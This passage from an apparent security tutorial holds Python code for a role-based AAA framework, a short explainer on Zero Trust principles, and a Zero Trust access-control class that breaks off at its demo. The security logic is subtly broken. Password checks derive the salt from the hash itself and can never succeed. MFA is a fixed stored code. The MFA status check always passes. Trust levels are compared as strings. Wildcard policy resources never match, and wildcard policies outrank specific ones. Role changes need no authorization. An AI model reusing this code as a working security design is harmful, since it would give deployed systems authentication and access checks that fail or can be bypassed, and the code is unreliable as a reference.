    # AUTHORIZATION
    # =========================================================================
    
    def authorize(self, username: str, action: PermissionType, 
                  resource: str = None) -> bool:
        """
        Check if a user is authorized to perform an action
        """
        if username not in self.users:
            print(f" ❌ User {username} not found")
            return False
        
        user = self.users[username]
        
        # Check if user is active
        if not user.active:
            print(f" ❌ User {username} is inactive")
            return False
        
        # Check if user is locked
        if user.locked_until and time.time() < user.locked_until:
            print(f" ❌ User {username} is locked")
            return False
        
        # Get user's permissions
        user_permissions = self.role_permissions.get(user.role, set())
        
        # Check if user has required permission
        if action in user_permissions:
            self._log_audit(username, str(action.value).upper(), 
                          resource or "unknown", "APPROVED", 
                          {"role": user.role.value})
            print(f" ✅ User {username} authorized to {action.value}")
            return True
        
        self._log_audit(username, str(action.value).upper(), 
                       resource or "unknown", "DENIED", 
                       {"role": user.role.value})
        print(f" ❌ User {username} NOT authorized to {action.value}")
        return False
    
    def has_any_permission(self, username: str, actions: List[PermissionType]) -> bool:
        """Check if user has any of the specified permissions"""
        for action in actions:
            if self.authorize(username, action):
                return True
        return False
    
    def get_user_permissions(self, username: str) -> Set[PermissionType]:
        """Get all permissions for a user"""
        if username not in self.users:
            return set()
        
        user = self.users[username]
        return self.role_permissions.get(user.role, set())
    
    # =========================================================================
    # ACCOUNTING (AUDIT LOGGING)
    # =========================================================================
    
    def _log_audit(self, username: str, action: str, resource: str, 
                  status: str, details: Dict[str, Any] = None,
                  ip_address: str = None) -> None:
        """Log an audit entry"""
        entry = AuditEntry(
            timestamp=time.time(),
            username=username,
            action=action,
            resource=resource,
            status=status,
            ip_address=ip_address,
            details=details or {},
            session_id=None
        )
        self.audit_log.append(entry)
    
    def get_audit_log(self, limit: int = 100, 
                      username: str = None,
                      action: str = None,
                      status: str = None) -> List[Dict]:
        """Get filtered audit log"""
        entries = self.audit_log
        
        if username:
            entries = [e for e in entries if e.username == username]
        if action:
            entries = [e for e in entries if e.action == action]
        if status:
            entries = [e for e in entries if e.status == status]
        
        entries = entries[-limit:]
        
        return [{
            "timestamp": datetime.fromtimestamp(e.timestamp).isoformat(),
            "username": e.username,
            "action": e.action,
            "resource": e.resource,
            "status": e.status,
            "ip_address": e.ip_address,
            "details": e.details
        } for e in entries]
    
    def view_audit_log(self, limit: int = 20) -> None:
        """Display audit log"""
        print("\n" + "=" * 60)
        print(" 📋 AUDIT LOG")
        print("=" * 60)
        
        entries = self.get_audit_log(limit)
        if not entries:
            print(" No audit entries found")
            return
        
        for entry in entries:
            status_symbol = "✅" if entry["status"] == "SUCCESS" else "❌" if entry["status"] == "FAILED" else "🔒"
            print(f"  {entry['timestamp']}: {entry['username']} - {entry['action']} ({entry['status']}) {status_symbol}")
    
    # =========================================================================
    # USER MANAGEMENT
    # =========================================================================
    
    def add_user(self, username: str, password: str, 
                 role: str = "employee", **kwargs) -> bool:
        """
        Add a new user to the system
        """
        if username in self.users:
            print(f" ❌ User {username} already exists")
            return False
        
        # Validate password strength
        if not self._validate_password_strength(password):
            print(f" ❌ Password does not meet strength requirements")
            return False
        
        # Create user
        salt = self._generate_salt()
        password_hash = self._hash_password(password, salt)
        
        user_role = UserRole(role.lower())
        
        user = User(
            username=username,
            password_hash=password_hash,
            salt=salt,
            role=user_role,
            created_at=time.time(),
            metadata=kwargs
        )
        
        self.users[username] = user
        
        print(f" 👤 Added user: {username} with role: {role}")
        self._log_audit(username, "USER_CREATED", "user_management", "SUCCESS", 
                       {"role": role})
        return True
    
    def _validate_password_strength(self, password: str) -> bool:
        """Validate password strength"""
        if len(password) < 8:
            print(f" ❌ Password too short (min 8 characters)")
            return False
        
        if not re.search(r'[A-Z]', password):
            print(f" ❌ Password must contain uppercase letter")
            return False
        
        if not re.search(r'[a-z]', password):
            print(f" ❌ Password must contain lowercase letter")
            return False
        
        if not re.search(r'[0-9]', password):
            print(f" ❌ Password must contain digit")
            return False
        
        if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
            print(f" ❌ Password must contain special character")
            return False
        
        return True
    
    def update_user_role(self, username: str, new_role: str) -> bool:
        """Update a user's role"""
        if username not in self.users:
            print(f" ❌ User {username} not found")
            return False
        
        user = self.users[username]
        old_role = user.role.value
        user.role = UserRole(new_role.lower())
        
        print(f" 🔄 User {username} role updated: {old_role} → {new_role}")
        self._log_audit(username, "ROLE_UPDATED", "user_management", "SUCCESS",
                       {"old_role": old_role, "new_role": new_role})
        return True
    
    def delete_user(self, username: str, admin: str) -> bool:
        """Delete a user (admin only)"""
        if not self.authorize(admin, PermissionType.MANAGE_USERS):
            print(f" ❌ {admin} not authorized to delete users")
            return False
        
        if username not in self.users:
            print(f" ❌ User {username} not found")
            return False
        
        if username == admin:
            print(f" ❌ Cannot delete self")
            return False
        
        del self.users[username]
        
        print(f" 🗑️  User {username} deleted by {admin}")
        self._log_audit(admin, "USER_DELETED", "user_management", "SUCCESS",
                       {"deleted_user": username})
        return True
    
    def lock_user(self, username: str, admin: str) -> bool:
        """Lock a user account"""
        if not self.authorize(admin, PermissionType.MANAGE_USERS):
            return False
        
        if username not in self.users:
            return False
        
        self.users[username].active = False
        self.locked_users.add(username)
        
        print(f" 🔒 User {username} locked by {admin}")
        self._log_audit(admin, "USER_LOCKED", "user_management", "SUCCESS",
                       {"locked_user": username})
        return True
    
    def unlock_user(self, username: str, admin: str) -> bool:
        """Unlock a user account"""
        if not self.authorize(admin, PermissionType.MANAGE_USERS):
            return False
        
        if username not in self.users:
            return False
        
        self.users[username].active = True
        self.users[username].locked_until = None
        self.locked_users.discard(username)
        
        print(f" 🔓 User {username} unlocked by {admin}")
        self._log_audit(admin, "USER_UNLOCKED", "user_management", "SUCCESS",
                       {"unlocked_user": username})
        return True
    
    # =========================================================================
    # SESSION MANAGEMENT
    # =========================================================================
    
    def _create_session(self, username: str, ip_address: str = None, 
                        user_agent: str = None) -> str:
        """Create a new session for a user"""
        session_id = secrets.token_hex(32)
        
        session = Session(
            username=username,
            session_id=session_id,
            created_at=time.time(),
            expires_at=time.time() + self.session_timeout,
            ip_address=ip_address or "unknown",
            user_agent=user_agent or "unknown",
            active=True
        )
        
        self.sessions[session_id] = session
        return session_id
    
    def validate_session(self, session_id: str) -> Tuple[bool, Optional[str]]:
        """Validate a session"""
        if session_id not in self.sessions:
            return False, None
        
        session = self.sessions[session_id]
        
        if not session.active:
            return False, None
        
        if time.time() > session.expires_at:
            session.active = False
            return False, None
        
        return True, session.username
    
    def terminate_session(self, session_id: str) -> bool:
        """Terminate a session"""
        if session_id not in self.sessions:
            return False
        
        self.sessions[session_id].active = False
        return True
    
    def terminate_all_sessions(self, username: str) -> int:
        """Terminate all sessions for a user"""
        count = 0
        for session_id, session in self.sessions.items():
            if session.username == username and session.active:
                session.active = False
                count += 1
        return count
    
    # =========================================================================
    # ADMINISTRATION
    # =========================================================================
    
    def view_users(self) -> None:
        """Display all users"""
        print("\n" + "=" * 60)
        print(" 👤 USERS")
        print("=" * 60)
        
        if not self.users:
            print(" No users found")
            return
        
        for username, user in self.users.items():
            status = "🔓 Active" if user.active else "🔒 Locked"
            locked = f" (Locked until {datetime.fromtimestamp(user.locked_until)})" if user.locked_until and user.locked_until > time.time() else ""
            print(f"  {username}: {user.role.value} - {status}{locked}")
    
    def view_sessions(self) -> None:
        """Display active sessions"""
        print("\n" + "=" * 60)
        print(" 🔑 ACTIVE SESSIONS")
        print("=" * 60)
        
        active_sessions = [s for s in self.sessions.values() if s.active]
        if not active_sessions:
            print(" No active sessions")
            return
        
        for session in active_sessions:
            remaining = int(session.expires_at - time.time())
            print(f"  {session.username}: {session.session_id[:8]}... - {remaining}s remaining")
    
    def get_statistics(self) -> Dict[str, Any]:
        """Get AAA framework statistics"""
        return {
            "name": self.name,
            "total_users": len(self.users),
            "active_users": sum(1 for u in self.users.values() if u.active),
            "locked_users": len(self.locked_users),
            "active_sessions": sum(1 for s in self.sessions.values() if s.active),
            "audit_entries": len(self.audit_log),
            "failed_attempts": sum(self.failed_attempts.values()),
            "role_distribution": {
                role.value: sum(1 for u in self.users.values() if u.role == role)
                for role in UserRole
            }
        }
    
    def get_user_details(self, username: str) -> Optional[Dict]:
        """Get detailed user information"""
        if username not in self.users:
            return None
        
        user = self.users[username]
        return {
            "username": user.username,
            "role": user.role.value,
            "created_at": datetime.fromtimestamp(user.created_at).isoformat(),
            "last_login": datetime.fromtimestamp(user.last_login).isoformat() if user.last_login else None,
            "login_attempts": user.login_attempts,
            "locked": user.locked_until is not None and user.locked_until > time.time(),
            "active": user.active,
            "permissions": [p.value for p in self.get_user_permissions(username)]
        }

# ============================================================================
# DEMONSTRATION
# ============================================================================

def aaa_demo():
    """Demonstrate complete AAA framework"""
    
    print("=" * 60)
    print(" 🔒 AAA FRAMEWORK DEMONSTRATION")
    print("=" * 60)
    
    # Initialize framework
    print("\n 🏛️  Initializing AAA Framework...")
    aaa = AAAFramework("MySecuritySystem")
    
    # Add users
    print("\n 👤 Adding Users...")
    aaa.add_user("alice", "SecurePass123!", "admin")
    aaa.add_user("bob", "BobPassword456!", "manager")
    aaa.add_user("charlie", "CharliePass789!", "employee")
    aaa.add_user("dave", "DavePass123!", "guest")
    
    # Test authentication
    print("\n 🔐 Testing Authentication:")
    print("-" * 40)
    
    print("\n Alice (correct password):")
    success, msg = aaa.authenticate("alice", "SecurePass123!")
    print(f"  Result: {msg}")
    
    print("\n Bob (wrong password):")
    success, msg = aaa.authenticate("bob", "wrongpassword")
    print(f"  Result: {msg}")
    
    print("\n Charlie (wrong password multiple times):")
    for i in range(3):
        success, msg = aaa.authenticate("charlie", "wrongpassword")
        print(f"  Attempt {i+1}: {msg}")
    
    # Test authorization
    print("\n 🔑 Testing Authorization:")
    print("-" * 40)
    
    print("\n Alice (admin) trying to manage users:")
    aaa.authorize("alice", PermissionType.MANAGE_USERS)
    
    print("\n Bob (manager) trying to delete:")
    aaa.authorize("bob", PermissionType.DELETE)
    
    print("\n Charlie (employee) trying to approve:")
    aaa.authorize("charlie", PermissionType.APPROVE)
    
    print("\n Guest trying to write:")
    aaa.authorize("guest", PermissionType.WRITE)
    
    # Test user management
    print("\n 👤 User Management:")
    print("-" * 40)
    
    aaa.update_user_role("charlie", "manager")
    print("\n Charlie's new permissions:")
    perms = aaa.get_user_permissions("charlie")
    print(f"  {[p.value for p in perms]}")
    
    print("\n Deleting Dave:")
    aaa.delete_user("dave", "alice")
    
    # View users and sessions
    print("\n 📋 System Status:")
    print("-" * 40)
    
    aaa.view_users()
    aaa.view_sessions()
    
    # View audit log
    aaa.view_audit_log(15)
    
    # Statistics
    print("\n 📊 Statistics:")
    print("-" * 40)
    
    stats = aaa.get_statistics()
    for key, value in stats.items():
        if key != "role_distribution":
            print(f"  {key.replace('_', ' ').title()}: {value}")
    
    print("\n  Role Distribution:")
    for role, count in stats["role_distribution"].items():
        if count > 0:
            print(f"    {role}: {count}")
    
    print("\n" + "=" * 60)
    print(" ✅ AAA FRAMEWORK DEMONSTRATION COMPLETE")
    print("=" * 60)
    print("\n  Features Demonstrated:")
    print("  1. Authentication: Password verification and lockout")
    print("  2. Authorization: Role-based access control")
    print("  3. Accounting: Audit logging of all actions")
    print("  4. User Management: Add, update, delete users")
    print("  5. Session Management: Session creation and validation")
    print("  6. Security: Password strength, account lockout")

if __name__ == "__main__":
    aaa_demo()

1.1.4 Zero Trust Architecture

Zero Trust Architecture: Follows the principle of “Never trust, always verify,” requiring every user, device, and request to be continuously authenticated and authorized before access is granted. Traditional security assumed that everything inside the network perimeter could be trusted. Zero Trust assumes that no user, device, or network should be trusted by default, regardless of location.

Core Components:

ComponentDescription
Micro-segmentationDividing the network into small, isolated segments
Least Privilege AccessUsers get only the minimum access needed
Continuous VerificationAuthenticating and authorizing at every request
Assume Breach MindsetDesigning as if the system is already compromised

Zero Trust Pillars:

PillarFocus
Identity VerificationStrong authentication, MFA
Device SecurityEndpoint protection, compliance checks
Network SegmentationMicro-segmentation, software-defined perimeters
Application SecuritySecure development, API protection
Data ProtectionEncryption, access controls, DLP

Implementation Steps:

  1. Multi-Factor Authentication (MFA): Require multiple authentication factors for all users
  2. Zero Trust Network Access (ZTNA): Implement dynamic, policy-based access
  3. Continuous Monitoring: Monitor all user activity and network traffic
  4. Least Privilege: Implement role-based and attribute-based access control
"""
ZERO TRUST ARCHITECTURE FRAMEWORK
==================================
Complete implementation of Zero Trust security model with:
- Multi-factor authentication
- Device compliance verification
- Continuous access evaluation
- Micro-segmentation
- Least privilege access
"""

import hashlib
import time
import secrets
import json
from typing import Dict, List, Any, Optional, Set, Tuple
from datetime import datetime
from dataclasses import dataclass, field
from enum import Enum
import base64

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class TrustLevel(Enum):
    """Trust levels for users and devices"""
    UNKNOWN = "unknown"
    LOW = "low"
    MEDIUM = "medium"
    HIGH = "high"
    MAXIMUM = "maximum"

class DeviceStatus(Enum):
    """Device compliance status"""
    COMPLIANT = "compliant"
    NON_COMPLIANT = "non-compliant"
    QUARANTINED = "quarantined"
    UNKNOWN = "unknown"

class AccessDecision(Enum):
    """Access decision outcomes"""
    ALLOW = "allow"
    DENY = "deny"
    CHALLENGE = "challenge"
    LIMIT = "limit"

class MFAStatus(Enum):
    """MFA verification status"""
    VERIFIED = "verified"
    PENDING = "pending"
    FAILED = "failed"
    REQUIRED = "required"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class User:
    """User information for Zero Trust"""
    username: str
    password_hash: str
    mfa_secret: str
    trust_level: TrustLevel = TrustLevel.MEDIUM
    risk_score: float = 0.0
    last_login: Optional[float] = None
    mfa_enabled: bool = True
    active: bool = True
    roles: Set[str] = field(default_factory=set)
    metadata: Dict[str, Any] = field(default_factory=dict)

@dataclass
class Device:
    """Device information for Zero Trust"""
    device_id: str
    user_id: str
    status: DeviceStatus = DeviceStatus.UNKNOWN
    trust_level: TrustLevel = TrustLevel.MEDIUM
    last_checked: Optional[float] = None
    os_version: str = ""
    security_patches: bool = True
    antivirus: bool = True
    encryption: bool = True
    jailbroken: bool = False
    metadata: Dict[str, Any] = field(default_factory=dict)

@dataclass
class AccessPolicy:
    """Access policy for Zero Trust"""
    id: str
    name: str
    user: str  # '*' for all
    resource: str
    action: str
    allowed: bool
    require_mfa: bool = False
    require_compliant_device: bool = True
    time_restrictions: Optional[List[str]] = None
    ip_restrictions: Optional[List[str]] = None
    trust_level_required: TrustLevel = TrustLevel.LOW
    risk_threshold: float = 0.5

@dataclass
class AccessRequest:
    """Access request for evaluation"""
    user: str
    resource: str
    action: str
    device_id: str
    ip_address: str
    timestamp: float
    context: Dict[str, Any] = field(default_factory=dict)

@dataclass
class AccessLog:
    """Access log entry"""
    timestamp: float
    user: str
    resource: str
    action: str
    device_id: str
    decision: AccessDecision
    reason: str
    context: Dict[str, Any]

# ============================================================================
# ZERO TRUST ARCHITECTURE
# ============================================================================

class ZeroTrustArchitecture:
    """
    Complete Zero Trust Architecture implementation
    with continuous verification and least privilege access
    """
    
    def __init__(self, name: str = "ZeroTrustSystem"):
        self.name = name
        self.users: Dict[str, User] = {}
        self.devices: Dict[str, Device] = {}
        self.access_policies: List[AccessPolicy] = []
        self.access_logs: List[AccessLog] = []
        self.risk_engine = RiskEngine()
        self.analytics = AnalyticsEngine()
        self.trust_engine = TrustEngine()
        
        # Default policies
        self._initialize_default_policies()
        
        print(f" 🏛️  Zero Trust Architecture initialized: {name}")
        print(f"    Default policies created: {len(self.access_policies)}")
    
    def _initialize_default_policies(self) -> None:
        """Initialize default zero trust policies"""
        default_policies = [
            AccessPolicy(
                id="policy_001",
                name="Allow Public Resources",
                user="*",
                resource="public/*",
                action="read",
                allowed=True,
                require_mfa=False,
                require_compliant_device=False,
                trust_level_required=TrustLevel.LOW
            ),
            AccessPolicy(
                id="policy_002",
                name="Sensitive Data Access",
                user="*",
                resource="sensitive/*",
                action="read",
                allowed=True,
                require_mfa=True,
                require_compliant_device=True,
                trust_level_required=TrustLevel.HIGH
            ),
            AccessPolicy(
                id="policy_003",
                name="Admin Access",
                user="admin",
                resource="*",
                action="*",
                allowed=True,
                require_mfa=True,
                require_compliant_device=True,
                trust_level_required=TrustLevel.MAXIMUM
            )
        ]
        self.access_policies.extend(default_policies)
    
    # =========================================================================
    # USER MANAGEMENT
    # =========================================================================
    
    def add_user(self, username: str, password: str, 
                 mfa_secret: Optional[str] = None,
                 trust_level: TrustLevel = TrustLevel.MEDIUM) -> bool:
        """Add a user with MFA support"""
        if username in self.users:
            print(f" ❌ User {username} already exists")
            return False
        
        # Hash password
        salt = secrets.token_hex(16)
        password_hash = hashlib.sha256((salt + password).encode()).hexdigest()
        
        # Generate MFA secret if not provided
        if not mfa_secret:
            mfa_secret = str(secrets.randbelow(1000000)).zfill(6)
        
        user = User(
            username=username,
            password_hash=password_hash,
            mfa_secret=mfa_secret,
            trust_level=trust_level,
            roles={"user"}
        )
        
        self.users[username] = user
        
        print(f" 👤 User added: {username} (Trust: {trust_level.value})")
        self._log_event(f"USER_CREATED", {"username": username, "trust": trust_level.value})
        return True
    
    def authenticate_with_mfa(self, username: str, password: str, 
                              mfa_code: str, device_id: str = None) -> Tuple[bool, str]:
        """
        Authenticate user with Multi-Factor Authentication
        Returns: (success, message)
        """
        if username not in self.users:
            self._log_event("AUTH_FAILED", {"username": username, "reason": "user not found"})
            return False, "User not found"
        
        user = self.users[username]
        
        if not user.active:
            return False, "User is inactive"
        
        # Verify password
        # In production, use proper password hashing
        salt = user.password_hash[:32]  # Simplified
        expected_hash = hashlib.sha256((salt + password).encode()).hexdigest()
        
        if expected_hash != user.password_hash:
            self._log_event("AUTH_FAILED", {"username": username, "reason": "invalid password"})
            return False, "Invalid password"
        
        # Verify MFA
        if user.mfa_enabled and mfa_code != user.mfa_secret:
            self._log_event("AUTH_FAILED", {"username": username, "reason": "invalid MFA"})
            return False, "Invalid MFA code"
        
        # Update last login
        user.last_login = time.time()
        
        # Update trust score
        self.trust_engine.update_user_trust(username, self)
        
        self._log_event("AUTH_SUCCESS", {"username": username, "device": device_id})
        print(f" ✅ User {username} authenticated successfully")
        return True, "Authentication successful"
    
    # =========================================================================
    # DEVICE MANAGEMENT
    # =========================================================================
    
    def add_device(self, user_id: str, device_id: str = None,
                   compliant: bool = True) -> str:
        """Register a device for a user"""
        if not device_id:
            device_id = f"device_{secrets.token_hex(8)}"
        
        device = Device(
            device_id=device_id,
            user_id=user_id,
            status=DeviceStatus.COMPLIANT if compliant else DeviceStatus.NON_COMPLIANT,
            last_checked=time.time()
        )
        
        self.devices[device_id] = device
        
        print(f" 📱 Device added: {device_id} (Compliant: {compliant})")
        self._log_event("DEVICE_ADDED", {"device_id": device_id, "user": user_id})
        return device_id
    
    def check_device_compliance(self, device_id: str) -> bool:
        """Verify device meets security requirements"""
        if device_id not in self.devices:
            return False
        
        device = self.devices[device_id]
        
        # Check all compliance requirements
        is_compliant = (
            device.status == DeviceStatus.COMPLIANT and
            device.security_patches and
            device.antivirus and
            device.encryption and
            not device.jailbroken
        )
        
        # Update last checked
        device.last_checked = time.time()
        
        return is_compliant
    
    def update_device_status(self, device_id: str, status: DeviceStatus) -> bool:
        """Update device compliance status"""
        if device_id not in self.devices:
            return False
        
        self.devices[device_id].status = status
        self._log_event("DEVICE_STATUS_UPDATED", 
                       {"device_id": device_id, "status": status.value})
        return True
    
    # =========================================================================
    # ACCESS EVALUATION
    # =========================================================================
    
    def evaluate_access(self, request: AccessRequest) -> AccessDecision:
        """
        Evaluate access request based on Zero Trust principles
        """
        start_time = time.time()
        
        # 1. Verify user identity
        if request.user not in self.users:
            return self._deny_access(request, "User not found")
        
        user = self.users[request.user]
        
        # 2. Check if user is active
        if not user.active:
            return self._deny_access(request, "User inactive")
        
        # 3. Verify device compliance
        if request.device_id and not self.check_device_compliance(request.device_id):
            return self._deny_access(request, "Device non-compliant")
        
        # 4. Evaluate policies
        policy = self._find_applicable_policy(request)
        if not policy:
            # Default deny
            return self._deny_access(request, "No applicable policy")
        
        # 5. Check risk score
        risk_score = self.risk_engine.calculate_risk(request, self)
        if risk_score > 0.7:
            return self._deny_access(request, f"Risk score too high: {risk_score:.2f}")
        if risk_score > 0.5:
            return AccessDecision.CHALLENGE
        
        # 6. Check trust level
        if user.trust_level.value < policy.trust_level_required.value:
            return self._deny_access(request, "Trust level insufficient")
        
        # 7. Apply policy decision
        if not policy.allowed:
            return self._deny_access(request, "Policy denies access")
        
        # 8. Check time restrictions
        if not self._check_time_restrictions(policy, request):
            return self._deny_access(request, "Time restriction")
        
        # 9. Check IP restrictions
        if not self._check_ip_restrictions(policy, request):
            return self._deny_access(request, "IP restriction")
        
        # 10. MFA requirement
        if policy.require_mfa:
            # Check if MFA was verified in this session
            if not self._check_mfa_status(request):
                return AccessDecision.CHALLENGE
        
        # All checks passed - allow access
        return self._allow_access(request, policy)
    
    def _find_applicable_policy(self, request: AccessRequest) -> Optional[AccessPolicy]:
        """Find the most specific applicable policy"""
        applicable = []
        
        for policy in self.access_policies:
            if (policy.user == request.user or policy.user == "*") and \
               (policy.resource == request.resource or policy.resource == "*") and \
               (policy.action == request.action or policy.action == "*"):
                applicable.append(policy)
        
        if not applicable:
            return None
        
        # Return most specific policy (prefer user-specific over wildcard)
        applicable.sort(key=lambda p: (p.user != "*", p.resource != "*", p.action != "*"))
        return applicable[0]
    
    def _check_time_restrictions(self, policy: AccessPolicy, 
                                 request: AccessRequest) -> bool:
        """Check time-based restrictions"""
        if not policy.time_restrictions:
            return True
        
        current_hour = datetime.fromtimestamp(request.timestamp).hour
        
        for restriction in policy.time_restrictions:
            if restriction.startswith("allow:"):
                allowed_hours = [int(h) for h in restriction[6:].split("-")]
                if len(allowed_hours) == 2:
                    start, end = allowed_hours
                    if start <= current_hour < end:
                        return True
        
        return False
    
    def _check_ip_restrictions(self, policy: AccessPolicy,
                               request: AccessRequest) -> bool:
        """Check IP-based restrictions"""
        if not policy.ip_restrictions:
            return True
        
        # Simplified IP check
        # In production, use proper IP range validation
        for ip_range in policy.ip_restrictions:
            if request.ip_address.startswith(ip_range.split("/")[0]):
                return True
        
        return False
    
    def _check_mfa_status(self, request: AccessRequest) -> bool:
        """Check if MFA was verified in this session"""
        # In production, check session MFA status
        return True
    
    def _deny_access(self, request: AccessRequest, reason: str) -> AccessDecision:
        """Log and return deny decision"""
        self._log_access(request, AccessDecision.DENY, reason)
        print(f" ❌ Access denied: {request.user} -> {request.resource} ({reason})")
        return AccessDecision.DENY
    
    def _allow_access(self, request: AccessRequest, policy: AccessPolicy) -> AccessDecision:
        """Log and return allow decision"""
        self._log_access(request, AccessDecision.ALLOW, 
                        f"Policy: {policy.name}")
        print(f" ✅ Access allowed: {request.user} -> {request.resource}")
        return AccessDecision.ALLOW
    
    def _log_access(self, request: AccessRequest, decision: AccessDecision,
                    reason: str) -> None:
        """Log access decision"""
        log = AccessLog(
            timestamp=time.time(),
            user=request.user,
            resource=request.resource,
            action=request.action,
            device_id=request.device_id,
            decision=decision,
            reason=reason,
            context=request.context
        )
        self.access_logs.append(log)
    
    def _log_event(self, event: str, data: Dict) -> None:
        """Log system event"""
        # In production, use structured logging
        pass
    
    # =========================================================================
    # POLICY MANAGEMENT
    # =========================================================================
    
    def add_policy(self, name: str, user: str, resource: str, 
                   action: str, allowed: bool,
                   require_mfa: bool = False,
                   require_compliant_device: bool = True,
                   trust_level: TrustLevel = TrustLevel.LOW) -> str:
        """Add a new access policy"""
        policy_id = f"policy_{len(self.access_policies) + 1:03d}"
        
        policy = AccessPolicy(
            id=policy_id,
            name=name,
            user=user,
            resource=resource,
            action=action,
            allowed=allowed,
            require_mfa=require_mfa,
            require_compliant_device=require_compliant_device,
            trust_level_required=trust_level
        )
        
        self.access_policies.append(policy)
        
        print(f" 📋 Policy added: {name} ({user} -> {resource})")
        self._log_event("POLICY_ADDED", {"id": policy_id, "name": name})
        return policy_id
    
    def remove_policy(self, policy_id: str) -> bool:
        """Remove an access policy"""
        for i, policy in enumerate(self.access_policies):
            if policy.id == policy_id:
                del self.access_policies[i]
                print(f" 🗑️  Policy removed: {policy.name}")
                return True
        return False
    
    def update_policy(self, policy_id: str, **kwargs) -> bool:
        """Update an existing policy"""
        for policy in self.access_policies:
            if policy.id == policy_id:
                for key, value in kwargs.items():
                    if hasattr(policy, key):
                        setattr(policy, key, value)
                print(f" 🔄 Policy updated: {policy.name}")
                return True
        return False
    
    # =========================================================================
    # MONITORING AND REPORTING
    # =========================================================================
    
    def display_status(self) -> None:
        """Display Zero Trust system status"""
        print("\n" + "=" * 60)
        print(" 🔒 ZERO TRUST STATUS")
        print("=" * 60)
        
        print(f"\n 📊 System Overview:")
        print(f"    Users: {len(self.users)}")
        print(f"    Devices: {len(self.devices)}")
        print(f"    Policies: {len(self.access_policies)}")
        print(f"    Access Logs: {len(self.access_logs)}")
        
        print(f"\n 👤 Users:")
        for username, user in self.users.items():
            status = "Active" if user.active else "Inactive"
            print(f"    {username}: {user.trust_level.value} - {status}")
        
        print(f"\n 📱 Devices:")
        for device_id, device in self.devices.items():
            print(f"    {device_id}: {device.status.value} (User: {device.user_id})")
        
        print(f"\n 📋 Policies:")
        for policy in self.access_policies[:5]:
            print(f"    {policy.id}: {policy.name} - {policy.user} -> {policy.resource} ({'Allow' if policy.allowed else 'Deny'})")
        
        print("\n" + "=" * 60)
    
    def get_access_logs(self, limit: int = 20, 
                        user: str = None,
                        decision: AccessDecision = None) -> List[Dict]:
        """Get filtered access logs"""
        logs = self.access_logs
        
        if user:
            logs = [l for l in logs if l.user == user]
        if decision:
            logs = [l for l in logs if l.decision == decision]
        
        logs = logs[-limit:]
        
        return [{
            "timestamp": datetime.fromtimestamp(l.timestamp).isoformat(),
            "user": l.user,
            "resource": l.resource,
            "action": l.action,
            "decision": l.decision.value,
            "reason": l.reason
        } for l in logs]
    
    def view_access_logs(self, limit: int = 10) -> None:
        """Display recent access logs"""
        print("\n" + "=" * 60)
        print(" 📋 ACCESS LOGS")
        print("=" * 60)
        
        logs = self.get_access_logs(limit)
        if not logs:
            print(" No access logs found")
            return
        
        for log in logs:
            status = "✅ ALLOW" if log["decision"] == "allow" else "❌ DENY"
            print(f"  {log['timestamp']}: {log['user']} -> {log['resource']} ({log['action']}) - {status} - {log['reason']}")
    
    def get_analytics(self) -> Dict[str, Any]:
        """Get Zero Trust analytics"""
        total_logs = len(self.access_logs)
        denies = sum(1 for l in self.access_logs if l.decision == AccessDecision.DENY)
        challenges = sum(1 for l in self.access_logs if l.decision == AccessDecision.CHALLENGE)
        
        return {
            "total_requests": total_logs,
            "denied": denies,
            "challenged": challenges,
            "allow_rate": (total_logs - denies - challenges) / total_logs if total_logs > 0 else 0,
            "users": len(self.users),
            "devices": len(self.devices),
            "policies": len(self.access_policies)
        }

# ============================================================================
# SUPPORTING ENGINES
# ============================================================================

class RiskEngine:
    """Risk calculation engine for Zero Trust"""
    
    def calculate_risk(self, request: AccessRequest, zta: 'ZeroTrustArchitecture') -> float:
        """Calculate risk score for access request"""
        risk = 0.0
        
        # User risk factors
        user = zta.users.get(request.user)
        if user:
            # Check user trust level
            if user.trust_level == TrustLevel.LOW:
                risk += 0.2
            elif user.trust_level == TrustLevel.UNKNOWN:
                risk += 0.3
            
            # Check last login time
            if user.last_login:
                days_since_login = (time.time() - user.last_login) / (24 * 3600)
                if days_since_login > 30:
                    risk += 0.2
        
        # Device risk factors
        device = zta.devices.get(request.device_id)
        if device:
            if device.status == DeviceStatus.NON_COMPLIANT:
                risk += 0.3
            elif device.status == DeviceStatus.UNKNOWN:
                risk += 0.2
            
            if device.jailbroken:
                risk += 0.3
        
        # Resource risk factors
        if "sensitive" in request.resource:
            risk += 0.2
        if "admin" in request.resource:
            risk += 0.3
        
        # Action risk factors
        if request.action in ["delete", "write"]:
            risk += 0.1
        
        # Time-based risk
        current_hour = datetime.fromtimestamp(request.timestamp).hour
        if current_hour < 6 or current_hour > 22:
            risk += 0.1
        
        return min(risk, 1.0)

class TrustEngine:
    """Trust level management engine"""
    
    def update_user_trust(self, username: str, zta: 'ZeroTrustArchitecture') -> None:
        """Update user trust level based on behavior"""
        user = zta.users.get(username)
        if not user:
            return
        
        # Analyze user behavior
        user_logs = [l for l in zta.access_logs if l.user == username]
        
        # Success rate
        total_attempts = len(user_logs)
        if total_attempts > 0:
            success_count = sum(1 for l in user_logs if l.decision == AccessDecision.ALLOW)
            success_rate = success_count / total_attempts
            
            if success_rate > 0.9:
                user.trust_level = TrustLevel.HIGH
            elif success_rate > 0.7:
                user.trust_level = TrustLevel.MEDIUM
            else:
                user.trust_level = TrustLevel.LOW
        
        # Update risk score
        risk_score = zta.risk_engine.calculate_risk(
            AccessRequest(
                user=username,
                resource="system",
                action="check",
                device_id="",
                ip_address="",
                timestamp=time.time()
            ),
            zta
        )
        user.risk_score = risk_score

class AnalyticsEngine:
    """Analytics engine for monitoring"""
    
    def analyze_access_patterns(self, zta: 'ZeroTrustArchitecture') -> Dict:
        """Analyze access patterns"""
        logs = zta.access_logs
        
        if not logs:
            return {}
        
        # User access patterns
        user_access = {}
        for log in logs:
            if log.user not in user_access:
                user_access[log.user] = {"total": 0, "allowed": 0, "denied": 0}
            user_access[log.user]["total"] += 1
            if log.decision == AccessDecision.ALLOW:
                user_access[log.user]["allowed"] += 1
            else:
                user_access[log.user]["denied"] += 1
        
        # Resource access patterns
        resource_access = {}
        for log in logs:
            if log.resource not in resource_access:
                resource_access[log.resource] = 0
            resource_access[log.resource] += 1
        
        return {
            "user_access": user_access,
            "resource_access": resource_access,
            "total_requests": len(logs),
            "unique_users": len(user_access),
            "unique_resources": len(resource_access)
        }

# ============================================================================
# DEMONSTRATION
# ============================================================================

def zero_trust_demo():
    """Demonstrate Zero Trust Architecture"""
    
    print("=" * 60)
